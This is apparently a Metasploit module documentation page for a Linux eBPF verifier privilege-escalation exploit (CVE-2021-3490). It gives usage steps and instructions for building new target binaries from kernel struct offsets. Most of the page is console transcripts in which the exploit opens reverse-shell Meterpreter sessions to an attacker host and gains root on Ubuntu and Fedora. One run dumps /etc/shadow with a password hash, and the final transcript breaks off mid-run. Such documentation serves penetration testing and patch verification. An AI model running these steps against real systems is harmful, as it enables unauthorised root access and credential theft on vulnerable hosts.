Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE - Metasploit


This page contains detailed information about how to use the exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE
Module: exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
Source code: modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb
Disclosure date: 2021-05-11
Last modification time: 2021-08-31 15:36:00 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-8835, CVE-2021-3490

Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and 5.10.37 are vulnerable to a bug in the eBPF verifier's verification of ALU32 operations in the scalar32_min_max_and function when performing AND operations, whereby under certain conditions the bounds of a 32 bit register would not be properly updated. This can be abused by attackers to conduct an out of bounds read and write in the Linux kernel and therefore achieve arbitrary code execution as the root user. The target system must be compiled with eBPF support and not have kernel.unprivileged_bpf_disabled set, which prevents unprivileged users from loading eBPF programs into the kernel. Note that if kernel.unprivileged_bpf_disabled is enabled this module can still be utilized to bypass protections such as SELinux, however the user must already be logged as a privileged user such as root.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-os-down: Module may crash the OS, and the OS remains down.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show targets
    ... a list of targets ...
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set TARGET target-id
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options
    ... show and set options ...
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION session-id
msf exploit(cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and 5.10.37 are vulnerable to a bug in the eBPF verifier's verification of ALU32 operations in the scalar32_min_max_and function when performing AND operations, whereby under certain conditions the bounds of a 32 bit register would not be properly updated.

This can be abused by attackers to conduct an out of bounds read and write in the Linux kernel and therefore achieve arbitrary code execution as the root user.

The target system must be compiled with eBPF support and not have kernel.unprivileged_bpf_disabled set, which prevents unprivileged users from loading eBPF programs into the kernel. Note that if kernel.unprivileged_bpf_disabled is enabled this module can still be utilized to bypass protections such as SELinux, however the user must already be logged into the system as a privileged user such as root.

Vulnerable Targets

Ubuntu 20.04 (Focal Fossa) 5.8.x kernels prior to 5.8.0-53.60 Ubuntu 20.10 (Groovy Gorilla) 5.8.x kernels prior to 5.8.0-53.60 Ubuntu 21.04 (Hirsute Hippo) 5.11.x kernels prior to 5.11.0-17.18 Fedora kernel versions 5.x from 5.7.x up to but not including 5.11.20-300.

Adding New Targets


Credits for the following code go to Robert whose code I took from https://blog.sourcerer.io/writing-a-simple-linux-kernel-module-d9dc3762c234.

Save this in a file named lkm_example.c

#include 
#include 
#include 
#include 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Robert W. Oliver II");
MODULE_DESCRIPTION("A simple example Linux module.");
MODULE_VERSION("0.01");
static int __init lkm_example_init(void) {
 printk(KERN_INFO "cred offset: %lu\n", offsetof(struct task_struct, cred));
 return 0;
}
static void __exit lkm_example_exit(void) {
 printk(KERN_INFO "pid_links offset: %lu\n", offsetof(struct task_struct, pid_links));
}
module_init(lkm_example_init);
module_exit(lkm_example_exit);

In the same folder make a file named Makefile and paste this code into it:

obj-m += lkm_example.o
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Then run the following:

sudo apt-get install build-essential linux-headers-`uname -r`
make && sudo insmod lkm_example.ko && sudo rmmod lkm_example && sudo dmesg

Then find the output from the last two lines. It should look something like this:

[40219.507922] cred offset: 2776
[40219.519139] pid_links offset: 2440

Update external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/Makefile and add in a new line like so, replacing FEDORA_KERNEL_5_10 with whatever name you prefer.

FEDORA_KERNEL_5_10:
    $(CC) -DFEDORA_KERNEL_5_10 $(CMP)

Update external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h and include the following two lines, replacing FEDORA_KERNEL_5_10 with the name you used in the step above.

#ifdef FEDORA_KERNEL_5_10
#define TASK_LIST_OFFSET 0x948
#endif
....
#ifdef FEDORA_KERNEL_5_10
#define TASK_CRED_OFFSET 0xAD0
#endif

The first number above should correspond to the number returned after pid_links offset, and the second number should be the number after the text cred offset:.

Additionally if you are adding a kernel prior to 5.11.x to the targets, update the following line and add || defined(<the name you used in earlier steps>) to the end of it.

#if defined(GROOVY) || defined(FEDORA_KERNEL_5_7) || defined(FEDORA_KERNEL_5_8) || defined(FEDORA_KERNEL_5_9) || defined(FEDORA_KERNEL_5_10)
    uint64_t kref; /* From Linux kernel 5.11 this field was removed, however it is present in all previous versions.
                    See https://elixir.bootlin.com/linux/v5.11-rc1/source/include/linux/pid_namespace.h and
                    https://elixir.bootlin.com/linux/v5.10.60/source/include/linux/pid_namespace.h for a comparison */

Run make. If all goes well you should get a new binary at bin/exploit.bin. Move this to data/exploits/cve-2021-3490/<target name and kernel version here>.bin.

Finally open up modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb so that it calls upload_and_chmodx for the new binary in the right situations.

Verification Steps


  1. Start msfconsole
  2. Gain a Linux Meterpreter shell on a target vulnerable system.
  3. Do: use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
  4. Do: set session # where the session number corresponds to the low privileged Meterpreter session you spawned earlier.
  5. Do: set LHOST <ip of your host>
  6. Do: set LPORT <port to connect back on>
  7. Do: exploit

Options


WritableDir

A folder we can write files to. Defaults to /tmp

CmdTimeout

The maximum number of seconds to wait for the exploit to run before we end up timing out. Increase this value if the exploit is timing out.

Scenarios


Ubuntu 21.04 (with Linux 5.11.0-16-generic)

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set RHOST 192.168.224.221
RHOST => 192.168.224.221
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 192.168.224.221:4444
[*] Sending stage (3012548 bytes) to 192.168.224.221
[*] Meterpreter session 1 opened (192.168.224.128:41855 -> 192.168.224.221:4444) at 2021-08-17 17:37:31 -0500

meterpreter > sysinfo
Computer     : 192.168.224.221
OS           : Ubuntu 21.04 (Linux 5.11.0-16-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > shell
Process 4636 created.
Channel 1 created.
cat /etc/shadow
cat: /etc/shadow: Permission denied
exit
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x64/linux  test @ ubuntu (uid=1000, gid=1000, euid=1000,  192.168.224.128:41855 -> 192.168.224.221:4444
                                    egid=1000) @ 192.168.224.221                  (192.168.224.221)

msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CmdTimeout  120              yes       Maximum number of seconds to wait for the exploit to complete
   SESSION                      yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit

[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.802fke5' (39352 bytes) ...
[*] Writing '/tmp/.75mogl0Vz6' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.221
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.802fke5
[+] Deleted /tmp/.75mogl0Vz6
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.221:42170) at 2021-08-17 17:40:19 -0500

meterpreter > sysinfo
Computer     : 192.168.224.221
OS           : Ubuntu 21.04 (Linux 5.11.0-16-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > background
[*] Backgrounding session 2...
smsf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x64/linux  test @ ubuntu (uid=1000, gid=1000, euid=1000,  192.168.224.128:41855 -> 192.168.224.221:4444
                                    egid=1000) @ 192.168.224.221                  (192.168.224.221)
  2         meterpreter x64/linux  root @ ubuntu (uid=0, gid=0, euid=0, egid=0)   192.168.224.128:4444 -> 192.168.224.221:42170
                                   @ 192.168.224.221                              (192.168.224.221)

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >

Ubuntu 20.10 (with Linux 5.8.0-25-generic)

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set RHOST 192.168.224.220
RHOST => 192.168.224.220
msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 192.168.224.220:4444
[*] Sending stage (3012548 bytes) to 192.168.224.220
[*] Meterpreter session 1 opened (192.168.224.128:46051 -> 192.168.224.220:4444) at 2021-08-17 17:51:38 -0500

meterpreter > sysinfo
Computer     : 192.168.224.220
OS           : Ubuntu 20.10 (Linux 5.8.0-25-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: test @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CmdTimeout  120              yes       Maximum number of seconds to wait for the exploit to complete
   SESSION                      yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit

[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.T0AUoK' (39400 bytes) ...
[*] Writing '/tmp/.R3N8FO' (250 bytes) ...
[*] Launching exploit...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 9000 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.220
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.T0AUoK
[+] Deleted /tmp/.R3N8FO
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.220:47914) at 2021-08-31 14:58:43 -0500

meterpreter >

meterpreter > sysinfo
Computer     : 192.168.224.220
OS           : Ubuntu 20.10 (Linux 5.8.0-25-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x64/linux  test @ ubuntu (uid=1000, gid=1000, euid=1000,  192.168.224.128:46051 -> 192.168.224.220:4444
                                    egid=1000) @ 192.168.224.220                  (192.168.224.220)
  2         meterpreter x64/linux  root @ ubuntu (uid=0, gid=0, euid=0, egid=0)   192.168.224.128:4444 -> 192.168.224.220:47878
                                   @ 192.168.224.220                              (192.168.224.220)

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >

Ubuntu 20.04.02 LTS (with Linux 5.8.0-43-generic)

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set RHOST 192.168.224.222
RHOST => 192.168.224.222
msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 192.168.224.222:4444
[*] Sending stage (3012548 bytes) to 192.168.224.222
[*] Meterpreter session 1 opened (192.168.224.128:44433 -> 192.168.224.222:4444) at 2021-08-19 14:15:49 -0500

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > previous
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CmdTimeout  120              yes       Maximum number of seconds to wait for the exploit to complete
   SESSION                      yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit

[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.RyfMnlY' (39352 bytes) ...
[*] Writing '/tmp/.7JmBQ1nu58' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.222
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.RyfMnlY
[+] Deleted /tmp/.7JmBQ1nu58
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.222:48204) at 2021-08-19 14:17:12 -0500

meterpreter > sysinfo
Computer     : 192.168.224.222
OS           : Ubuntu 20.04 (Linux 5.8.0-43-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x64/linux  test @ ubuntu (uid=1000, gid=1000, euid=1000,  192.168.224.128:44433 -> 192.168.224.222:4444
                                    egid=1000) @ 192.168.224.222                  (192.168.224.222)
  2         meterpreter x64/linux  root @ ubuntu (uid=0, gid=0, euid=0, egid=0)   192.168.224.128:4444 -> 192.168.224.222:48204
                                   @ 192.168.224.222                              (192.168.224.222)

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) >

Fedora 32 with Linux Kernel 5.7.11-200

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x64/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set RHOST 192.168.224.223
RHOST => 192.168.224.223
msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 192.168.224.223:4444
[*] Sending stage (3012548 bytes) to 192.168.224.223
[*] Meterpreter session 1 opened (192.168.224.128:41579 -> 192.168.224.223:4444) at 2021-08-20 13:29:30 -0500

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 32 (Linux 5.7.11-200.fc32.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: test @ localhost.localdomain (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > shell
Process 2100 created.
Channel 1 created.
cat /etc/shadow
cat: /etc/shadow: Permission denied
^Z
Background channel 1? [y/N]  y
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CmdTimeout  120              yes       Maximum number of seconds to wait for the exploit to complete
   SESSION                      yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit

[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.VBiCx' (39352 bytes) ...
[*] Writing '/tmp/.KqjrGX5' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.223
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.VBiCx
[+] Deleted /tmp/.KqjrGX5
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:54884) at 2021-08-20 13:33:38 -0500
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x64/linux  test @ localhost.localdomain (uid=1000, gid=1  192.168.224.128:41579 -> 192.168.224.223:4444
                                   000, euid=1000, egid=1000) @ loc...            (192.168.224.223)
  2         meterpreter x64/linux  root @ localhost.localdomain (uid=0, gid=0, e  192.168.224.128:4444 -> 192.168.224.223:54884
                                   uid=0, egid=0) @ localhost.local...            (192.168.224.223)

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > shell
Process 2148 created.
Channel 1 created.
cat /etc/shadow
root:!::0:99999:7:::
bin:*:18292:0:99999:7:::
daemon:*:18292:0:99999:7:::
adm:*:18292:0:99999:7:::
lp:*:18292:0:99999:7:::
sync:*:18292:0:99999:7:::
shutdown:*:18292:0:99999:7:::
halt:*:18292:0:99999:7:::
mail:*:18292:0:99999:7:::
operator:*:18292:0:99999:7:::
games:*:18292:0:99999:7:::
ftp:*:18292:0:99999:7:::
nobody:*:18292:0:99999:7:::
systemd-coredump:!!:18374::::::
systemd-network:!!:18374::::::
systemd-resolve:!!:18374::::::
dbus:!!:18374::::::
tss:!!:18374::::::
qemu:!!:18374::::::
gluster:!!:18374::::::
polkitd:!!:18374::::::
rtkit:!!:18374::::::
pulse:!!:18374::::::
systemd-timesync:!!:18374::::::
avahi:!!:18374::::::
pipewire:!!:18374::::::
chrony:!!:18374::::::
unbound:!!:18374::::::
usbmuxd:!!:18374::::::
dnsmasq:!!:18374::::::
geoclue:!!:18374::::::
saslauth:!!:18374::::::
radvd:!!:18374::::::
rpc:!!:18374:0:99999:7:::
apache:!!:18374::::::
colord:!!:18374::::::
rpcuser:!!:18374::::::
openvpn:!!:18374::::::
nm-openvpn:!!:18374::::::
abrt:!!:18374::::::
nm-openconnect:!!:18374::::::
flatpak:!!:18374::::::
gdm:!!:18374::::::
gnome-initial-setup:!!:18374::::::
sshd:!!:18374::::::
vboxadd:!!:18374::::::
tcpdump:!!:18374::::::
test:$6$qUS1ahlM0hqfNoyO$TZO8sUu1btvp4XRhqjy4Cetjm1LZ3DOWZDqfx8OPfB4QXjmiK5EPQmBW.TT0CJpSQBsanT0u9xokn1NtGepas/:18859:0:99999:7:::

Fedora 32 with Linux Kernel 5.8.8-200

msf6 > use multi/handler
s[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.224.223
RHOST => 192.168.224.223
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 192.168.224.223:4444
[*] Sending stage (3012548 bytes) to 192.168.224.223
[*] Meterpreter session 1 opened (192.168.224.128:35689 -> 192.168.224.223:4444) at 2021-08-20 14:45:57 -0500

meterpreter > getuid
Server username: test @ localhost.localdomain (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > background
[*] Backgrounding session 1...
smsf6 exploit(multi/handler) >use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   CmdTimeout  120               yes       Maximum number of seconds to wait for the exploit to complete
   SESSION     1                 yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit

[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.6y6Ws' (39352 bytes) ...
[*] Writing '/tmp/.SYYFfC' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
[!] Feel free to press CTRL+C if the shell is returned before 200 seconds are up.
[*] Sending stage (3012548 bytes) to 192.168.224.223
[+] Exploit completed successfully, shell should be returning soon!
[+] Deleted /tmp/.6y6Ws
[+] Deleted /tmp/.SYYFfC
[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.223:37368) at 2021-08-20 14:47:44 -0500
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x64/linux  test @ localhost.localdomain (uid=1000, gid=1  192.168.224.128:35689 -> 192.168.224.223:4444
                                   000, euid=1000, egid=1000) @ loc...            (192.168.224.223)
  2         meterpreter x64/linux  root @ localhost.localdomain (uid=0, gid=0, e  192.168.224.128:4444 -> 192.168.224.223:37368
                                   uid=0, egid=0) @ localhost.local...            (192.168.224.223)

msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > shell
Process 3170 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),10(wheel),1000(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uname -a
Linux localhost.localdomain 5.8.8-200.fc32.x86_64 #1 SMP Wed Sep 9 19:31:09 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Fedora 32 Linux Kernel 5.9.8-100

msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set session 1
session => 1
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options

Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe):

   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   CmdTimeout  120               yes       Maximum number of seconds to wait for the exploit to complete
   SESSION     1                 yes       The session to run this module on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.224.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check
[*] The target appears to be vulnerable.
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set VERBOSE true
VERBOSE => true
msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit

[*] Started reverse TCP handler on 192.168.224.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Unprivileged BPF loading is permitted
[+] Kernel version 5.9.8-100.fc32.x86_64 appears to be vulnerable
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
[+] The target appears to be vulnerable.
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/.RRaKt' (39352 bytes) ...
[*] Writing '/tmp/.yYaQKj' (250 bytes) ...
[*] Launching exploit ...
[!] Note that things may appear to hang due to the exploit not exiting.
